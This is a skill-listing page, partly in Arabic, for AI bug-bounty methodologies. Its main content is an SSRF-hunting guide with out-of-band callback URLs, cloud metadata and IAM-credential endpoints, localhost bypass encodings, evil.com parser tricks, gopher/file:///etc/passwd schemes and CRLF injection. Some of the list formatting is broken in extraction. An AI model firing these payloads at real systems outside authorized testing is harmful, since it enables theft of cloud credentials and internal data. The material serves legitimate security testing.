القائمة
SSRF hunting methodology with OOB detection via interactsh, cloud metadata targets, and blind SSRF techniques. Use on any feature that accepts a URL, hostname, or external reference.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Systematic IDOR / BOLA hunting methodology. Use when testing any endpoint that accepts an ID, UUID, slug, filename, or reference to a user-owned object.
SQL injection hunting methodology across error-based, union, blind boolean, and time-based variants. Use when testing any input that might reach a database.
XSS hunting methodology — reflected, stored, and DOM — with context-aware payloads. Use when testing any input that could reach a browser.
OWASP Top 10 (2021) and API Top 10 (2023) quick reference with attack patterns, test ideas, and CWE mappings. Load when hunting, code-reviewing for security, or writing bug bounty reports.
Bug bounty report generation — structure, triager-friendly writing, CVSS scoring, and chain reporting. Use when finalizing a finding for submission.
Curated index of external hacking resources — meta-lists, frameworks, wordlists, payload banks, recon/OSINT, network, exploitation, and CTF tooling. Load when the user asks "what's the tool for X", "where do I find payloads for Y", "is there a wordlist for Z", or when planning which external resource to pull for a task. Always reach for this before suggesting a generic Google search.
| name | hunt-ssrf |
| description | SSRF hunting methodology with OOB detection via interactsh, cloud metadata targets, and blind SSRF techniques. Use on any feature that accepts a URL, hostname, or external reference. |
EntityDescriptor)http:///api/proxy?url=)redirect_uri when server-side validatedUse interactsh (interactsh-client) for out-of-band detection. Payload: http://{unique}.oast.live/ — if you get a DNS or HTTP hit, the server fetched it.
Start with OOB even when you can't see a response, because most interesting SSRF is blind.
http://169.254.169.254/latest/meta-data/, http://169.254.169.254/latest/meta-data/iam/security-credentials/http://metadata.google.internal/computeMetadata/v1/ (requires Metadata-Flavor: Google header)http://169.254.169.254/metadata/instance?api-version=2021-02-01 (requires Metadata: true)http://169.254.169.254/metadata/v1/http://127.0.0.1, http://localhost, http://[::1], http://0.0.0.0, http://0/, http://127.1http://2130706433/ (decimal), http://0x7f000001/ (hex), http://0177.0.0.1/ (octal)http://[::ffff:127.0.0.1]/, http://[0:0:0:0:0:ffff:127.0.0.1]/http://rbnd.interact.sh/ (A record flips after first resolution)http://evil.com@127.0.0.1/, http://127.0.0.1#@evil.com/gopher://, dict://, ftp://, file:///etc/passwdhttp://host%0d%0aX-Custom: fooBlind SSRF alone is often Low/Medium. Upgrade by:
AWS IMDSv2 requires PUT /latest/api/token with a session token — plain SSRF can't reach it unless the vulnerable code uses PUT with custom headers. Don't assume a target on AWS is unreachable; check via OOB first.